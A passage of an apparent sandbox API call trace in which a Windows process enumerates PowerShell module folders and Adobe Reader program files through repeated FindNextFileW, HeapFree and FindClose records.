lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0196.398] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.398] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0196.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0196.399] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0196.399] FindClose (in: hFindFile=0x4421020 | out: hFindFile=0x4421020) returned 1 [0196.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0196.401] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1 [0196.404] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.404] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0196.405] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.405] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0196.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.406] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0196.407] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44d5f60 | out: hHeap=0x420000) returned 1 [0196.407] FindNextFileW (in: hFindFile=0x4420da0, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0196.407] FindClose (in: hFindFile=0x4420da0 | out: hFindFile=0x4420da0) returned 1 [0196.407] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.407] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0196.818] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.818] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0196.819] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.819] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0196.822] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.822] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0196.822] FindClose (in: hFindFile=0x4420a20 | out: hFindFile=0x4420a20) returned 1 [0196.822] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0196.822] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0196.822] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.822] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0196.823] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.823] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0196.823] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.823] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0196.823] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.823] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0196.824] FindClose (in: hFindFile=0x4420e60 | out: hFindFile=0x4420e60) returned 1 [0196.824] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.824] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0196.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.827] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0196.828] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.828] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0196.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.830] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0196.830] FindClose (in: hFindFile=0x4420a20 | out: hFindFile=0x4420a20) returned 1 [0196.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0196.830] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0 [0196.830] FindClose (in: hFindFile=0x4421020 | out: hFindFile=0x4421020) returned 1 [0196.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0196.832] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0196.833] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0196.833] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0196.833] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.833] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0196.834] FindClose (in: hFindFile=0x4421020 | out: hFindFile=0x4421020) returned 1 [0196.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.834] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0196.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0196.834] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0196.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.834] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0196.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0196.834] FindNextFileW (in: hFindFile=0x4420a20, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0196.835] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.835] FindNextFileW (in: hFindFile=0x4421020, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0 [0196.835] FindClose (in: hFindFile=0x4421020 | out: hFindFile=0x4421020) returned 1 [0196.835] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0196.835] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0 [0196.835] FindClose (in: hFindFile=0x4420ba0 | out: hFindFile=0x4420ba0) returned 1 [0196.835] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0196.837] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0196.837] FindClose (in: hFindFile=0x4420d60 | out: hFindFile=0x4420d60) returned 1 [0196.837] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0196.837] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0196.837] FindClose (in: hFindFile=0x4420c20 | out: hFindFile=0x4420c20) returned 1 [0196.837] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cb0078 | out: hHeap=0x420000) returned 1 [0196.837] FindNextFileW (in: hFindFile=0x43a2c0, lpFindFileData=0x34ffcf8 | out: lpFindFileData=0x34ffcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0196.838] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0196.838] FindNextFileW (in: hFindFile=0x4420ba0, lpFindFileData=0x34ff584 | out: lpFindFileData=0x34ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1 [0196.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0196.969] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0196.970] FindClose (in: hFindFile=0x4420d60 | out: hFindFile=0x4420d60) returned 1 [0196.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0196.970] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0197.104] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.104] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, 